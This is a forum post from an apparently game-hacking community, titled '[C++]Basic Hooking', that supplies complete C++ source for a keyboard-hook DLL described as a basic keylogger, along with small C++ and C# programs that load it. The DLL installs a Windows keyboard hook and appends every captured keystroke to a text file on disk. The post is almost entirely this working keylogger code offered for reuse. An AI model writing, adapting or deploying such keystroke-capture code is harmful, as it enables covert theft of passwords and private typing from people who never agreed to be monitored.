Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» ~=?{The future is here, TastyExploit officially open to the public}?=~
Tue Mar 02, 2010 11:00 pm by Dami

» My first aa script
Tue Mar 02, 2010 7:00 am by wafflemaster

» the real story behind Maverin
Tue Mar 02, 2010 1:33 am by SoundOfDeat

» Random spam
Mon Mar 01, 2010 11:52 pm by Danny1994

» [Request] EMS v56 Exe
Mon Mar 01, 2010 12:39 am by Dami

» [Blacklist] NX-Trading Blacklist.
Mon Mar 01, 2010 12:38 am by Danny1994

» I have a question regarding the meso farmer
Sat Feb 27, 2010 10:30 pm by Dami

» What are you listening to now?
Sat Feb 27, 2010 7:57 pm by Noname111111

» Video(s) Of The Day
Sat Feb 27, 2010 7:37 pm by Noname111111

Navigation
 Portal
 Index
 Memberlist
 Profile
 FAQ
 Search
Affiliates
free forum
 



[C++]Basic Hooking

Go down

[C++]Basic Hooking

Post by Dami on Fri Oct 30, 2009 5:13 am

By The_Undead

Ok, well for this you need parts: the DLL that contains the hooking code and the application that calls the DLLS.
I created the DLL in this case using C++. I initially wrote the DLL in MFC but dont really like it so I rewrote it quickly.
I have written the application that calls the DLL in two langauges: C++ (Console) and C# (Forms).

In this instance I am using hooks as part of a basic keylogger. Nothing fancy (as with my C# example - even then thats not fancy but bleh).

[C++]THE APP:
Code:

#include "windows.h"
#include "stdio.h"

int main(int argc, char* argv[])
{   
   HMODULE hMod = LoadLibrary("DLLHOOK.dll");
       printf("DLL Loaded..\nEnter to quit...");
       getchar();
   FreeLibrary(hMod);
       return 0;
}

[C#] THE APP:

So I decided to kill two birds with one stone: I can show how to use hooks in C++ and how to use global hooks that are not available for use

in C# (Granted not true in this instance).

Code:
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace WindowsApplication1
{
   public partial class Form1 : Form
   {
      public Form1()
      {
         InitializeComponent();
      }

      [DllImport("kernel32.dll")]
      static extern IntPtr LoadLibrary(string lpFileName);

      private void button1_Click(object sender, EventArgs e)
      {
         LoadLibrary("DLLHOOK.dll");
      }
   }
}

[C++]THE DLL:

Code:
#include "stdafx.h"

HHOOK hHOOK=NULL;
HINSTANCE hInst;
FILE *file1;

LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(
                              int nCode,
                              WPARAM wParam,
                              LPARAM lParam)
{
   char chLetter;

   if (HC_ACTION==nCode)
   {      
      file1 = fopen("c:\\words.txt","a+");

      if (wParam == VK_RETURN || wParam == VK_SPACE)
      {
         if (wParam == VK_SPACE)
         {
            chLetter = ' ';
            fwrite(&chLetter,1,1,file1);
         }
         if (wParam == VK_RETURN)
         {   
            chLetter='\n';
            fwrite(&chLetter,1,1,file1);
         }
      }
      else
      {
         //256 Byte array for GetKeyboardState
         BYTE keystatebyte[256];
         //Get current Keyboard State and place result in Bytearray "keystatebyte"
         GetKeyboardState(keystatebyte);
         //Word type to recieve converted character
         WORD wASCII;
         UINT scancode = 0;
         //converts VK to ascii and outputs in WORD wASCII
         ToAscii(wParam,scancode,keystatebyte,&wASCII,0);
         chLetter = char(wASCII);
         //writes character to file
         fwrite(&chLetter,1,1,file1);
      }
   }
   fclose(file1);
   LRESULT RetVal = CallNextHookEx( hHOOK, nCode, wParam, lParam );   
   return  RetVal;
}
int APIENTRY DllMain (HINSTANCE hInstance,
                 DWORD  ulReason,
                 LPVOID lpReserved)
{
   switch (ulReason)
   {
   case DLL_PROCESS_ATTACH:
      //save instance handle
      hInst = hInstance;
      
      //set hook
      hHOOK = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hInst,0);
      
      if (hHOOK != 0)
      {
         MessageBox(0,"hook is now... Hooked!","Woot",MB_OK);

         //return succeeded
         return 1;
         break;
      }
      else
      {
         MessageBox(0,"Hook Failed!!","Failed",MB_OK);

         //return failed
         return -1;
         break;
      }
      //return failed!
      return -1;
      break;
   
   case DLL_PROCESS_DETACH:
      
      //Unhook
      UnhookWindowsHookEx(hHOOK);
      MessageBox(0,"Unhooked!","Exit",MB_OK);
      
      //Return FALSE
      return 0;
      break;
   }
   //return FAILED!
   return -1;
}
avatar
Dami
Dragon
Dragon

Posts : 1414
Join date : 2009-08-10
Age : 28
Location : Finland

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum